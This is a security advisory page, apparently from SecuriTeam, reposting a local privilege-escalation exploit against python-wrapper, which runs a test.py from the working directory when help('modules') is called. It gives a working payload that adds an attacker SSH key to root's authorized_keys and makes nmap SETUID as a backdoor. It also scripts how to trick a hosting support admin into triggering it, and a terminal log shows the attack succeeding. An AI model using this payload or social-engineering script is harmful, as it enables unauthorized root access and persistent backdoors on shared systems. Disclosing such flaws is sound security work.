Security News -  Security Reviews -   Exploits -  Tools -  UNIX Focus -  Windows Focus
Home  Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). Confidence 2013 5% Off any SANS course Use Code: SecuriTeam_5 Hack In Paris La Nuit du Hack Subjects of Interest: Vulnerability Management SQL Injection Buffer Overflows Active Network Scanning Fuzzing Fuzzer Report Network Security Network Scanner Pen Testing Security Scanner	Python Wrapper Untrusted Search Path/Code Execution Exploit 21 Jan. 2013    Summary Python Wrapper Untrusted Search suffers from Path/Code Execution Vulnerability.   Credit: The information has been provided by ShadowHatesYou. Free Website Security Scan Free Fuzzer Report Vulnerability Assessment Detect web app vulnerabilities University study comparing the top Accurate and automated scanning Get guidance from professionals. 6 commercially availble fuzzers. for networks of any size.    Details Protect your website! Free Trial, Nothing to install. No interruption of visitors. www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * Python Wrapper Untrusted Search # python-wrapper untrusted search path/code execution vulnerability # # Python-wrapper executes any test.py script within the current working directory, when supplied with help('modules'). # A non-priviledged user may gain code execution by tricking root to help('modules') or help() and then modules from within python-wrapper # while within a non-priviledged user's work directory. # # The evil file MUST be titled test.py! os.system("evilcommand") will result in python-wrapper executing said command, and then continuing normally # with no signs of compromise if you redirect command output. os.system("/bin/echo ssh-rsa yourkey yourkeycomment >> /root/.ssh/authorized_keys") does not # work, however os.system("/bin/echo $(echo ssh-rsa yourkey yourkeycomment >> /root/.ssh/authorized_keys)") does. # # # Additionally, nmap makes a great backdoor from a non-priviledged user account because it's something that looks like you might actually # want SETUID under certain circumstances, but not really(and it will bitch if invoked). In nmap 5.31DC1 the most useful switch(--interactive) was removed # which previously allowed you to bang out a shell(!/bin/csh, but not bash). Thank you David/Juan Carlos Castro for breaking one of my favorites. # NOW however there is the nmap scripting engine to exploit. As usual, the input-output commands will behave like any exploitable SETUID program # with input-output commands. # # # A practical example of how this vulnerability could be useful is if you wish to attack a shared webhosting enviornment. # After convincing root(support) to cd in to your directory, perhaps by uploading a broken "distraction.py" and getting him to troubleshoot it, # you could pose the question: "Hey, what python modules do you guys have installed?" "I'm not quite sure how to list that..." # "You can list the modules installed by entering python-wrapper, and typing help('modules')" "Oh!" *silent test.py execution by root* # "There's a lot of them... would you like them as an email attachment?" "Yeah, thanks. I think I'll look at that and try troubleshooting this more myself". # # # - ShadowHatesYou (Shadow@SquatThis.net) # 6/30/12 root@tourian:/home/shadow/python# ls -hl test.py -rw-r--r-- 1 shadow shadow 137 Jun 30 13:06 test.py root@tourian:/home/shadow/python# cat test.py #!/bin/python import os os.system('/bin/echo $(echo "ssh-rss pwned byshadow" >> /root/.ssh/authorized_keys); chmod 4755 /usr/bin/nmap') root@tourian:/home/shadow/python# ls -hl /usr/bin/nmap -rwxr-xr-x 1 root root 1.9M Jun 30 13:06 /usr/bin/nmap root@tourian:/home/shadow/python# ls -hl /root/.ssh/authorized_keys ls: cannot access /root/.ssh/authorized_keys: No such file or directory root@tourian:/home/shadow/python# python-wrapper Python 2.7.3 (default, May 4 2012, 00:13:26) [GCC 4.6.2] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> help('modules') Please wait a moment while I gather a list of all available modules... ArgImagePlugin _bisect email pprint BaseHTTPServer _codecs encodings pptransport Bastion _codecs_cn errno ppworker BdfFontFile _codecs_hk exceptions profile BeautifulSoup _codecs_iso2022 fcntl pstats BeautifulSoupTests _codecs_jp filecmp pty BitTornado _codecs_kr fileinput pwd BmpImagePlugin _codecs_tw fnmatch py_compile BufrStubImagePlugin _collections formatter pyclbr CDROM _cracklib fpformat pydoc CGIHTTPServer _csv fractions pydoc_data ConfigParser _ctypes ftplib pyexpat ContainerIO _ctypes_test functools pyrit_cli Cookie _curses future_builtins pyximport Crypto _curses_panel gamin quopri CurImagePlugin _elementtree gc random Cython _emerge gdbm re DLFCN _functools genericpath readline DcxImagePlugin _gamin gentoolkit repoman DocXMLRPCServer _gv getopt repr EpsImagePlugin _hashlib getpass resource ExifTags _heapq gettext rexec FitsStubImagePlugin _hotshot git_remote_helpers rfc822 FliImagePlugin _imaging glob rlcompleter FontFile _imagingft grp robotparser FpxImagePlugin _imagingmath gv rrdtool GbrImagePlugin _io gzip runpy GdImageFile _json hashlib scapy GifImagePlugin _lcms heapq sched GimpGradientFile _ldns hmac scipy GimpPaletteFile _locale hotshot select GribStubImagePlugin _lsprof htmlentitydefs sets HTMLParser _md5 htmllib setuptools Hdf5StubImagePlugin _multibytecodec httplib sgmllib IN _multiprocessing ihooks sha IcnsImagePlugin _pyio imaplib shelve IcoImagePlugin _random imghdr shlex ImImagePlugin _sha imp shutil Image _sha256 importlib signal ImageChops _sha512 imputil site ImageCms _socket inspect smtpd ImageColor _sre io smtplib ImageDraw _ssl itertools sndhdr ImageDraw2 _strptime java_config_2 socket ImageEnhance _struct javatoolkit spwd ImageFile _symtable json sre ImageFileIO _testcapi keyword sre_compile ImageFilter _threading_local lcms sre_constants ImageFont _unbound ldns sre_parse ImageGL _warnings ldnsx ssl ImageGrab _weakref lib2to3 stat ImageMath _weakrefset libsvn statvfs ImageMode _xmlplus libxml2 string ImageOps abc libxml2mod stringold ImagePalette aifc libxslt stringprep ImagePath antigravity libxsltmod strop ImageQt anydbm linecache struct ImageSequence argparse linuxaudiodev subprocess ImageShow array locale sunau ImageStat ast logging sunaudio ImageTk asynchat lxml svn ImageTransform asyncore macpath symbol ImageWin atexit macurl2path symtable ImtImagePlugin audiodev magic sys IptcImagePlugin audioop mailbox sysconfig JpegImagePlugin base64 mailcap syslog McIdasImagePlugin bdb markupbase tabnanny MicImagePlugin binascii marshal tarfile MimeWriter binhex math telnetlib MpegImagePlugin bisect md5 tempfile MspImagePlugin bs4 mhlib termios OleFileIO bz2 mimetools test OpenIPMI cPickle mimetypes textwrap PAM cProfile mimify this PIL cStringIO mirrorselect thread PSDraw calendar mmap threading PaletteFile cgi modulefinder time PalmImagePlugin cgitb multifile timeit PcdImagePlugin chunk multiprocessing toaiff PcfFontFile cmath mutex token PcxImagePlugin cmd netrc tokenize PdfImagePlugin code netsnmp trace PixarImagePlugin codecs new traceback PngImagePlugin codeop nis tty PpmImagePlugin collections nntplib types PsdImagePlugin colorsys ntpath unbound Queue commands nturl2path unboundmodule SgiImagePlugin compileall numbers unicodedata SimpleHTTPServer compiler numpy unittest SimpleXMLRPCServer contextlib opcode urllib SocketServer cookielib operator urllib2 SpiderImagePlugin copy optparse urlparse StringIO copy_reg os user SunImagePlugin cpyrit os2emxpath uu TYPES cracklib ossaudiodev uuid TarIO crypt paramiko warnings TiffImagePlugin ctypes pdb weakref TiffTags curses pickle webbrowser UserDict cython pickletools whichdb UserList datetime pipes wsgiref UserString dbm pkg_resources xattr WalImageFile decimal pkgutil xcbgen WmfImagePlugin difflib platform xdelta3main XVThumbImagePlugin dircache plistlib xdrlib XbmImagePlugin dis popen2 xen XpmImagePlugin distutils poplib xml _LWPCookieJar dnet portage xmllib _MozillaCookieJar doctest posix xmlrpclib _OpenIPMI drv_libxml2 posixfile xxsubtype __builtin__ dumbdbm posixpath yasm __future__ dummy_thread pp zipfile _abcoll dummy_threading ppauto zipimport _ast easy_install ppcommon zlib Enter any module name to get more help. Or, type "modules spam" to search for modules whose descriptions contain the word "spam". >>> quit() root@tourian:/home/shadow/python# ls -hl /usr/bin/nmap -rwsr-xr-x 1 root root 1.9M Jun 30 13:06 /usr/bin/nmap root@tourian:/home/shadow/python# cat /root/.ssh/authorized_keys ssh-rss pwned byshadow Disclosure Timeline: Published: 2012-07-02  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles SimplyPlay v.66 .pls File Buffer Overflow Exploit NProtect Anti-Virus Privilege Escalation Vulnerability Ripe HD FLV Player Plugin for WordPress Multiple Script Direct Request Path Disclosure Vulnerability CMS snews SQL Injection Vulnerability WeBid SQL Injection Exploit Invision Gallery SQL Injection Exploit ArrowChat External.php Lang Parameter Traversal Local File Inclusion Exploit WinWebMail Server Stored XSS Exploit TFTP Server for Windows ST WRQ Buffer Overflow Exploit QNX QCONN Remote Command Execution Exploit Distinct TFTP Writable Directory Traversal Execution Exploit Xion Audio Player 1.0.127 (.aiff) Denial of Service Exploit Wordpress Postie Plugin Stored XSS Exploit Vice City Multiplayer Server Remote Code Execution Exploit Sphpforum Multiple Exploits NetOp Remote Control Client Buffer Overflow Exploit MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Exploit MaxForum Local File Inclusion Exploit Inferno vBShout SQL Injection Vulnerability WP Effective Lead Management Persistent XSS Exploit  Featured Articles Social Engine Multiple Exploits Novell Groupwise Address Book Remote Code Execution Exploit GWebmail XSS & LFI RCE Vulnerabilities Acpid Privilege Boundary Crossing Exploit McAfee Virtual Technician MVT.MVTControl.6300 ActiveX GetObject() Vulnerability 'SonicWall Global Management System XSS Vulnerability' 'Opera file:// Overflow' 'vxFtpSrv CWD Command Overflow' 'Kaminsky DNS Cache Poisoning Flaw Exploit for Domains' 'freeSSHD Post Authentication Buffer Overflow (Exploit)' 'Symantec Altiris Client Service Local Privilege Escalation (Exploit)' 'Apple Mac OS X SMB Vulnerabilities (mount_smbfs and smbutil)' 'SurgeMail Webmail Host Header DoS' 'PHP Win32std Extension safe_mode/disable_functions Protections Bypass' 'WinPcap NPF.SYS Privilege Elevation Vulnerability (PoC exploit)' 'MailEnable Buffer Overflow (LOGIN, Exploit)' 'Durian Web Application Server Buffer Overflow (Exploit)' 'KsIRC Buffer Overflow Exploit (PRIVMSG)' 'Allied Telesyn AT-TFTP Server Filename Buffer Overflow (Exploit)' 'Windows WorkStation NetpManageIPCConnect (MS06-070, Exploit)'
	Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus - Blogs - CVEs

Copyright © Beyond Security® All rights reserved.
Terms of Use Site Privacy Statement.
SecuriTeam™ is a trademark of Beyond Security®